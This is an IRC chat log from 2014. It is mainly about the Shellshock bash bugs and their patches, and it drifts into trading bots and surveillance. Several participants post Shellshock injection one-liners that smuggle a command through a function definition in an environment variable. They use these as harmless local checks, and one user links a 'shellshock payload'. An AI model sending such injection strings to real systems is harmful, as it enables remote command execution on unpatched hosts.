mircea_popescu: if the process of figuring out what is safe worked, we wouldn't have the bug in the first place.
Naphex: nginx / php fpm/ fast cgi all pass env as well
asciilifeform: also it is possible that i used a bad example. man has indeed invented hydrogen bomb. but securing 50 years of turdolade by 'fixing mistakes' is more akin to jumping 1km. no athlete has jumped 1km, and beatings will not create one.
Naphex: and if that env hits bash it runs
mircea_popescu: asciilifeform point is not to fix anything.
Naphex: kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails
mircea_popescu: we're not here for a goal, we're here because a cause. major fucking difference.
Naphex: so any mail filters, spam filters
mircea_popescu: Naphex also some ssl/ssh/etc
kuzetsa: Naphex: I don't have any mail daemon on that particular system either
mike_c: what? how is env getting set if no cgi/bash shit?
Naphex: mircea_popescu: yeah but that doesn't hit sh until successful login
mircea_popescu: still.
Naphex: mike_c: env is general POSIX
Naphex: all apps use it
rithm: my spam filter is roll-your-own
asciilifeform: until the entire machine stack (chemical, electronic, os, etc) fits in a human mind - doesn't have to be that of alcoholic bum off the street, could be six people alive - then you have a system a reasonable man will sign his life under.
Naphex: and pass it around, if corrupted env hits bash it runs and the end
mike_c: yes, but i thought shocky thingy required cgi/bash to chane env
rithm: my testing alligns with what Naphex just said about authentication
Naphex: mike_c: no, you can change env regardless, its just that if bash interpets the env it runs
mike_c: shit, i gotta read more.
mircea_popescu: asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory.
asciilifeform: one can chop heads if job is not done, but if it isn't doable given the available constraints - you just end with a tall pile of heads
mircea_popescu: how is it done ? why, by not acting towards a goal, but from a cause.
kuzetsa: mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables
asciilifeform: well sure - ultimately all organization is based on this
mircea_popescu: quite.
Naphex: rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run
Naphex: just patch it, and killall -TERM sh/ bash and you're set
mike_c: kuzetsa: ok, thanks
asciilifeform: but the analogy falls apart here. what we have, in organization, is cray's 1024 chickens.
kuzetsa: Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :)
mircea_popescu: ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program"
mircea_popescu: Naphex wasn't the patch bad ?
asciilifeform: unless you can actually build 'borg' that share a mind, rather than just army or clan, the organization cannot understand mechanisms too large for the cleverest member to understand. for any useful value of 'understand.'
asciilifeform: this is the fundamental reason why 'software sucks'
mircea_popescu: asciilifeform mechanisms are simple.
kuzetsa: mircea_popescu: there's 2 different patches
mike_c: old news? asciilifeform: Stephane Chazelas is author.
mircea_popescu: that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple.
mircea_popescu: kuzetsa a yea nm.
Naphex: mircea_popescu: gentoo has good patch out
asciilifeform: low intrinsic complexity - yes. encrusted with 'accidental complexity - also yes.
mircea_popescu: bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up.
Naphex: 201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash )
mircea_popescu: rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots.
kuzetsa: the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash)
xmj: lovely
xmj: kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC
rithm: just wait until drive-by downloads start exploiting dd-wrt or something
rithm: then it'll get fun
kuzetsa: yeah, I have 7169 patched
mircea_popescu: ;;google debian 7169 patch
gribble: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable | Hacker News: <https://news.ycombinator.com/item?id=8365158>; What is the CVE-2014-6271 bash vulnerability, and how do I fix it?: <http://askubuntu.com/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it>; (CVE-2014-6271) bug introduced, and what is the patch that fully: (1 more message)
mircea_popescu: heh.
kuzetsa: ubuntu dragged their backside too
mircea_popescu: debian != ubuntu omg.
nubbins`: debian = ubuntu in the sense that england = usa
mircea_popescu: export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it
Naphex: mircea_popescu: its a stupid check lol
rithm: https://news.ycombinator.com/item?id=8367065
assbot: This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News
asciilifeform: mircea_popescu: recall how self-proclaimed (or accused...) alchemists were treated. do you mean to say that, if they were put through the right punishments, they would have discovered neutron bombardment synthesis of Au at economical price?
rithm: cloudflare examples
Naphex: mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash
Naphex: safe check
mike_c: so.. just b/c you have vulnerable bash doesn't mean you got pwned.
mircea_popescu: Naphex no thaths the 6271 one
kuzetsa: :)
kuzetsa: mircea_popescu: I was just thinking the same thing
mike_c: any good way to check if you're actually vulnerable?
mircea_popescu: this is the 7169 one, where it fucks up the exporting circumventing the fix
mircea_popescu: mike_c i just quoted it above
mircea_popescu: i also quoted a test for 6271 yest.
mircea_popescu: !s from:mircea_popescu env
assbot: 4 results for 'from:mircea_popescu env' : http://search.bitcoin-assets.com/?q=from%3Amircea_popescu+env
mike_c: yes, that checks if bash is vuln.
mike_c: doesn't mean your box is open.
Naphex: mike_c: check is simple cause bash shouldn't run anything in the env
mircea_popescu: mike_c checking if your box is open is something you'll haveto do yourself.
mike_c: of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable http request.
Naphex: var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash
rithm: bash: warning: varname: ignoring function definition attempt
rithm: bash: error importing function definition for `varname'
mircea_popescu: mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm
rithm: seeing something like that is bueno
mircea_popescu: so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave.
mircea_popescu: their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever.
mike_c: not even a keyid?
mircea_popescu: not even a keyid.
mircea_popescu: they have a specially printed bag
mircea_popescu: which has like a picture on it and that's that.
mircea_popescu: ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay.
asciilifeform: also wtf means 'safe' ?
mircea_popescu: TomServo: Would an audit even be useful without a specification? << perhaps, yes.
mircea_popescu: doctors have been doing ok auditing the human body w/o any spec for a while now.
mircea_popescu: asciilifeform ^ :D
asciilifeform was never obsessed with 'spec' - but does think that one must arrive at what question is being answered before attempt is meaningful
asciilifeform: for human body, death is the unambiguous spec
asciilifeform: to test against.
mircea_popescu: "what means safe" "what means healthy"
rithm: fuzz the captcha!
mike_c: gee, every single one of my ec2 servers is scheduled for a reboot now.
mircea_popescu: mike_c: security audit is basically impossible. <<< im unconvinced.
mircea_popescu: it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits.
mircea_popescu: in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator.
mircea_popescu: !up myriarity
asciilifeform: mircea_popescu: runaway complexity may be intrinsic in von neumann paradigm.
mircea_popescu: maybe. still, a lot can be done until one runs into such walls.
mike_c: my point is you can't take existing turd and audit it to security.
mike_c: if you start with security in mind, then audits can be useful process during development.
mircea_popescu: certainly right there.
mircea_popescu: myriadgetsmehard you know you're voiced.
mircea_popescu: or were.
asciilifeform: and what's a 'ria' ?
mircea_popescu: lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p
mircea_popescu: The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence.
mircea_popescu: Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc!
mod6: %p
atcbot: >> No data returned from CoinMiner.net << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s
jurov: drat. updated centos/ubuntu, still vulnerable
asciilifeform: so when do we get to see a public and fleshy punishment of author ?
kakobrekla: never?
kakobrekla: im just approximating here.
asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever.
kakobrekla: peer review scape goat?
asciilifeform: perhaps.
asciilifeform: i vaguely recall that mr. hearbleed was a pedigreed вредитель though.
asciilifeform: and still it was paraded as 'bug' - disembodied 'bug', that was placed there by the hand of god, or whatever
asciilifeform: and not by a pair of hands attached to a sniveling shill
mike_c: oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation.
asciilifeform: lol
nubbins`: you mean seggelmann or henson?
nubbins`: (or both?)
mike_c: 20 year old bug, good luck figuring out author.
asciilifeform: easier, in some cases, then modern piles of shit with 1000 authors
thestringpuller: mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay"
thestringpuller: not equating the two, just saying similar tone.
thestringpuller: https://i.imgur.com/8U5cOHM.jpg << via our evoorhees
thestringpuller: dunno why I said "our"
punkman: !up Darkstone1
Darkstone1: I don't do voice, sorry.
Darkstone1: can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development.
Darkstone1: I'm strugging in what the best way to 'commercialize' this thing is.
mike_c: if it works.. run it?
Darkstone1: it certainly works, but as i said, i'm starting to lose intrest in further development. And i have a full-time job to attend to.
rithm: Darkstone1 find VC's to fund your new bitcoin trading exchange
Darkstone1: One of the questions i've been unable to answer is weither should sell the source code or only the product.
Darkstone1: it's not an exchange, its an trading bot.
rithm: Darkstone1, wite the whole thing yourself in PHP and release it to the world in production!
diametric: public trade bots are worthless.
BingoBoingo: ^
Darkstone1: it's written in c++ with Qt.
punkman: well you can't really sell it without source
diametric: and i'd never run a trade bot i couldn't inspect the source for.
rithm: the source and the math of the engine is what is worth buying
rithm: if anything
punkman: maybe to some noobs with bitcents running Windows
Darkstone1: that i you shouldn't buy anything that you can't inspect the source for i can certainly agree with.
Darkstone1: but my parther thinks that selling the thing with source code is useless.
Darkstone1: it will just end up somewhere in the internet next week.
mircea_popescu: <kakobrekla> im just approximating here. << heh
punkman: Darkstone1, that's where the WoT helps
mike_c: the only thing worthwhile is the automation. make it easy for non-programmers to put in their own methodologies.
mike_c: sell to suckers, profit.
BingoBoingo: <Darkstone1> can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. << Sounds like keeping it in your pocket until it interests you again may be the best option
mircea_popescu: * asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. <<< not quite whatever. currently the fashionable idiocies du jour still hold currency with the crowd, that "not the man, but what he's saying" and "we're all equal" and similar socialisms. they won't last the evening.
Darkstone1: I think there are too many -bad- platforms where people can put in their own stratety already.
mircea_popescu: <mike_c> 20 year old bug, good luck figuring out author. <<< right, because nothing ever can be documented past the lifespan of the average teenager.
Darkstone1: perhaps opinions of the masses differ.. but there is no way i'm going to insert my API keys in an online platform.
mike_c: hm, i suppose the average teenager is.. 16?
mircea_popescu: we know the name of the rose verse to come from bernardo of cluny, 1000 years ago. but keeping track who shat in the repos is too hard over two decades.
mircea_popescu: this entire shitfest won't survive me i tellya!
mike_c: ;;calc (13 + 14 + 15 + 16 + 17 + 18 + 19) / 7
gribble: 16
mike_c: woot!
mircea_popescu: <thestringpuller> not equating the two, just saying similar tone. << we are kinda inhaviting a cartoon world atm
punkman: Darkstone1: yeah I doubt any of the hosted tradebots handle integer BTC amounts
mircea_popescu: <Darkstone1> but my parther thinks that selling the thing with source code is useless. << so let the partner run it'
RagnarDanneskjol: speaking of https://github.com/orisi/orisi/issues/85
assbot: Call for Oracle hosts Issue #85 orisi/orisi GitHub
assbot: [MPEX] [S.MPOE] 3102 @ 0.00074933 = 2.3244 BTC [-]
mircea_popescu: mike_c well yeah, almost 16, something
Darkstone1: punkpan: i use doubles. It's bad, i know. But it does not really matter as most exchanges send you the amounts in json floats anyway..
mircea_popescu: sigh.
punkman: Darkstone1: no I just meant they'll never get to handle any serious amount of BTC
Darkstone1: oh. I'm not so sure.
Darkstone1: for example we have cryptotrader.
Darkstone1: which costs $40 a month.
Darkstone1: (totaly idiotic platform by the way...)
Darkstone1: wait a sec.
assbot: berndj-blackout +v failed; L1: 0, L2: 0
mircea_popescu: !up berndj-blackout
Darkstone1: 10 dollars a month.
Darkstone1: i dont think anyone would pay 10 dollars a month to trade pennies.
berndj-blackout: thanks mircea_popescu - just figuring out the cloak&dagger stuff :)
mircea_popescu: you need to be in assbot's l2 wot to selfvoice here.
berndj-blackout: ah, i see, i'm too random i suppose
fluffypony: http://i.imgur.com/BPGsKbc.jpg
mircea_popescu: Darkstone1 i paid 10 dollars a month numerous times to trade pennies in online games
asciilifeform: diametric: public trade bots are worthless << not only this; but any bot whose strategy is exactly known to others - is useless.
mircea_popescu: if what the delusion of being a "trader" costs is 10 bucks, plenty of takers.
fluffypony: same as the delusion of being an "investor"
asciilifeform: (in fact, i suspect that any bot whose strategy is not a game-theoretical-finesse-rape of other bots - is quite useless) ☟︎
fluffypony: especially people who think they've "invested" in a cryptocurrency because they bought some
Darkstone1: i consider myself a neobee invector :P
diametric: neobee..
fluffypony: lol
mircea_popescu: fluffypony speaking of hard reset : http://www.youtube.com/watch?v=teV8-IGhSt8
assbot: RObotzi.S01.Ep2.Defect - YouTube
Darkstone1: at least i was.
fluffypony: mircea_popescu: are their English subs on that one at least?
mircea_popescu: asciilifeform well marketing is game theoretical finesse rape of other bots. except for some reason other bots insist on calling them people.
mircea_popescu: fluffypony just the video :D
mircea_popescu: ;;ident berndj-blackout
gribble: CAUTION: irc nick differs from otc registered nick. Nick 'berndj-blackout', with hostmask 'berndj-blackout!~berndj@azna.co.za', is identified as user 'berndj', with GPG key id FAC02779DEC0DED1, key fingerprint BCB3F00CB5A64A16A31EFCE6FAC02779DEC0DED1, and bitcoin address None
ThickAsThieves: <+mircea_popescu> "what means safe" "what means healthy" /// such a semantic day!
Darkstone1: asciilifeform: i can partialy agree on that. But if i do not have an game-theory fitness ass raping bot. I tried but failed.
mircea_popescu: what do you mean by that ?
asciilifeform: consider an elementary case
mircea_popescu: Darkstone1 http://trilema.com/2014/the-psychology-of-the-bagholder/ read that try again ?
assbot: The psychology of the bagholder pe Trilema - Un blog de Mircea Popescu.
asciilifeform: where you know that opponents are running, e.g., simple arbitrage bots, but each has a 'stop-loss' threshold
asciilifeform: and you know what the thresholds are
Darkstone1: *again*? no thank you, already read it.
asciilifeform: then you can, if your 'hammer' (ability to move price) is large enough, manipulate.
kakobrekla: i see this everyday - what ascii is describing
mircea_popescu: kakobrekla you might not be the only one.
mircea_popescu: Darkstone1 a okay then
kakobrekla: (or maybe im just imagining)
Darkstone1: And i am not an neobee bagholder. I sold everything after the crash and gained +50%.
asciilifeform: in fact, even if you do not know the actual strategies - you can discover the system's 'resonances' by repeated hammer blows.
mircea_popescu: Darkstone1 the point was, "how to build gt finesse bots"
mircea_popescu: asciilifeform works especially well if you're too big to fail, thoo.
asciilifeform: and yes, i must admit i worked on this. but let it go, from lack of hammer.
asciilifeform: other people - who have hammer - should be presumed to have worked on it, as well.
berndj-blackout: asciilifeform: won't any nonzero hammer work, given enough time to get a decent SNR?
asciilifeform: berndj-blackout: nope. to run with the mechanical analogy, the system has a certain amount of 'dampening'.
ben_vulpes: hammer wears
ben_vulpes: energy reservoir backing it empties.
mircea_popescu: dampening is right
ThickAsThieves: <+kakobrekla> (or maybe im just imagining) /// it wouldnt be ta otherwise
berndj-blackout: asciilifeform, add to that, use a spread-spectrum hammer or something
asciilifeform: to continue the oscillator analogy: nitwits running simple bots will show up as 'line spectra'.
Darkstone1: I'm fairly sure i've met bots specially crafted to screw my bots at one exchange once...
Darkstone1: it was a sad day.
ThickAsThieves: another sign that chinese exchanges are all bots/washing, the books are always balanced
ThickAsThieves: orderbooks*
ben_vulpes: would this actually be a frequency response thing?
asciilifeform: Darkstone1: if this is even remotely possible to do to you - and probably necessarily so if your bot is less complicated, than, say, 'eurisko' - give up.
mircea_popescu: really the proposition of making a living with trading bots is the response of the engineer who confronted with the fundamental impossibility of making money picking stocks decides to write a hard ai to do it. ☟︎
mircea_popescu: exactly asciilifeform's "but we don't even know how to make computers yet!" sorta thing
ThickAsThieves: shit i dont even trust stop orders
ThickAsThieves: nevermind a bot
Darkstone1: asciilifeform It is no longer possible to do so. I belive i closed all gaps.
mircea_popescu: is this the famous last words competition ?
ThickAsThieves: hehe
ThickAsThieves: be creative!
Darkstone1: except the one where a whale sells hundreds of bitcoins on all the exchanges where i'm active. But that probably a slim chance.
mircea_popescu: what could the tiger possibly do.
asciilifeform: Darkstone1: ever play 'core wars' ?
mircea_popescu: hundreds ?! uh.
asciilifeform: Darkstone1: or write a virus ?
Darkstone1: no i'll look it up.
ThickAsThieves: Darkstone1 this is how I trade at times
BingoBoingo: Come on, real trading insight comes from the gut!
asciilifeform: except the one where a whale sells hundreds of bitcoins << and your machine isn't buying cheapo coin in its wake?
fluffypony: oh I see we're calling the Bash bug "ShellShock" now
ThickAsThieves: elation=sell
fluffypony: I hope someone made a logo
BingoBoingo: You've got more serotogenic neurons in the ganglia there than in the brain
ThickAsThieves: teach your bots elation
fluffypony: I can't take these bugs seriously without a logo and an info site
BingoBoingo: ThickAsThieves: No, teach them fear, that sinking feeling in the pit of one's stomach!
ThickAsThieves: sure if you wanna make a bad trader
BingoBoingo: Hunger as well
ThickAsThieves: !up Darkstone1
BingoBoingo: !up Darkstone1
kakobrekla: http://singlesaints.com/firefile/temp
kakobrekla: shellshock payload
BingoBoingo: https://upload.wikimedia.org/wikipedia/commons/7/76/Clitoria_%28253000626%29.jpg
asciilifeform: !up berndj-blackout
kakobrekla: !s coinflow
assbot: 49 results for 'coinflow' : http://search.bitcoin-assets.com/?q=coinflow
berndj-blackout: thanks, but i'm likely to be idle for a while. should work on my rating i guess
kakobrekla: ;;gettrust assbot coinflow
gribble: WARNING: Currently not authenticated. Trust relationship from user assbot to user coinflow: Level 1: 0, Level 2: 0 via 0 connections. Graph: http://b-otc.com/stg?source=assbot&dest=coinflow | WoT data: http://b-otc.com/vrd?nick=coinflow | Rated since: never
kakobrekla: anyone got a contact from this dude
kakobrekla: ;;seen parseval
gribble: parseval was last seen in #bitcoin-assets 41 weeks, 5 days, 19 hours, 24 minutes, and 53 seconds ago: <parseval> though, really, I think banning banks from handling bitcoin transactions is a good thing
kakobrekla: huh
mike_c: sry, btcalpha put coinflow out of bizness
kakobrekla: i just noticed - looking at logs - he is spamming my boxen
mike_c: i pwned his box for kicks too
mike_c: (j/k)
mircea_popescu: <fluffypony> I can't take these bugs seriously without a logo and an info site << these bugs got no ux!
fluffypony: damn straight
fluffypony: before announcing it they should at least have a logo contest
BingoBoingo: OMG coverup in New York City!!! http://nypost.com/2014/09/25/groundhog-dropped-by-de-blasio-died-of-internal-injuries/
assbot: Zoo in coverup after groundhog dropped by de Blasio dies | New York Post
mircea_popescu: kakobrekla used to run a fund with PsychoticBoy
kakobrekla: wha???
kakobrekla: oh
kakobrekla: he seems a goner
ben_vulpes: awwwww ye
ben_vulpes: if these deals come through, i'm going to have such sweet projects lined up
ben_vulpes: and there are enough on the table that i should be making odds on how many close
BingoBoingo: https://twitter.com/dannyyadron/status/515205493623898112 << Guess the apple warrant canary disappeared because... warrant
assbot: Breaking: FBI Director says the bureau is talking to Apple and Google about new encryption settings. Story to come.
ben_vulpes: new encryption settings
ben_vulpes: the "let me fuck your shit up" switch must be enabled.
BingoBoingo: Eh, the new Apple stuff seems to have a bunch of built in side channels to keep syncing the device with the desktop easy
ThickAsThieves: kako, I owned coinflow in the end
ThickAsThieves: parseval is long gone
ThickAsThieves: afaik my friend hosting it let it lapse
ThickAsThieves: but i emailed him to check
kakobrekla: ThickAsThieves http://dpaste.com/367MW24.txt
ThickAsThieves: k
ThickAsThieves: relayed
kakobrekla: ThickAsThieves what are your plans with that thing anyway
ThickAsThieves: stopped all work on it
ThickAsThieves: had some decent plans back when there were more exchanges
ThickAsThieves: but now i'm all set
ThickAsThieves: in addition to coming to terms with what it really means to be a usian
kakobrekla: :(
asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks.
ThickAsThieves: it's ok, now i'm sharpening my trading skillz
ThickAsThieves: enjoying it
asciilifeform: obligatory: sheckley's 'hour of battle' --
asciilifeform: http://www.gutenberg.org/files/29445/29445-h/29445-h.htm
assbot: Error 403
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ben_vulpes: the gutenberg notices are longer than the story
ben_vulpes: o.O
pete_dushenski: <mircea_popescu> lord norwich is the english authority on venice << merci!
pete_dushenski: looks like asciilifeform rectothermal scan will be… a dog:
pete_dushenski: http://www.bloomberg.com/news/2014-09-23/a-police-dog-for-the-digital-age-she-can-smell-the-usb-drive-you-re-hiding.html
assbot: A Police Dog for the Digital Age: She Can Smell the USB Drive You're Hiding - Bloomberg
pete_dushenski: for stopping teh child pr0n!
asciilifeform: pete_dushenski: ancient item, search #b-a logs.
pete_dushenski: asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << just because puppets talking "ignore" doesn't mean everyone ignores
pete_dushenski: !s usb dog
assbot: 0 results for 'usb dog' : http://search.bitcoin-assets.com/?q=usb+dog
pete_dushenski: hm
pete_dushenski: !s digital dog
assbot: 0 results for 'digital dog' : http://search.bitcoin-assets.com/?q=digital+dog
kakobrekla: !s firewire cat
assbot: 0 results for 'firewire cat' : http://search.bitcoin-assets.com/?q=firewire+cat
pete_dushenski: futility is you!
pete_dushenski: or maybe "thunderbolt terrier" ?
asciilifeform: pete_dushenski: http://log.bitcoin-assets.com/?date=07-07-2014#747841 ☝︎
assbot: Logged on 07-07-2014 14:17:39; asciilifeform: BingoBoingo, mircea_popescu, others: re: electronics-sniffing dog << distraction psyop. in real life, hidden electronics are found with a nonlinear junction detector.
pete_dushenski: ;;google nonlinear junction detector
gribble: Nonlinear junction detector - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Nonlinear_junction_detector>; REI ORION 2.4 Non-Linear Junction Detector: <http://www.research-electronics.com/cgi-bin/main.cgi?action=viewprod&ct=products&pct=ORION%202.4&num=ORION%202.4>; NLJD - Non Linear Junction Detector Tutorial - Granite Island Group: (1 more message)
pete_dushenski: that leaves us with paper wallets entre les buttcheeks.
pete_dushenski: laminted, natch
asciilifeform: pete_dushenski: or semiconductors encased in continuous conductive countours.
pete_dushenski: asciilifeform: analog or digital, user pref
mircea_popescu: https://www.youtube.com/watch?v=5JbnDXw-0pM << friction welding. it's a thing
assbot: The Power of Friction - YouTube
asciilifeform: of course it is
asciilifeform: when unintentional - bane of machine tool operators everywhere
mircea_popescu: pretty cool vid i say!
asciilifeform: these appear to be wheel hubs.
mircea_popescu: JuliaTourianski how goes canada ?
mircea_popescu: <asciilifeform> apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << "everyone" ? the us agitprop (calling itslef "mainstream media") is not everyone just like tardstalk.org is not everyone in bitcoin.
mircea_popescu: heck, it'll be tough to argue that they're someone at all, even.
asciilifeform: mircea_popescu: this was not limited to the loltron. plenty of 'humans' made excuses.
mircea_popescu: like... who ? schneier ? :D
mircea_popescu: moldbug ?
asciilifeform: nah peanut gallery.
mircea_popescu: well ppls can err
pete_dushenski: friction << certified cool!
mircea_popescu: "Richard Everset and C. R. Jones had gone on the first interstellar flight. They had found an inhabited planet in the region of Vega. The rest was standard procedure."
mircea_popescu: such bad writing. if something is a first then it can't be "standard procedure"
mircea_popescu: standard procedure is what an old whore does, never a virgin.
asciilifeform: mircea_popescu: sheckley was a sort of comedian.
ben_vulpes: first moon landing - full of standard procedures.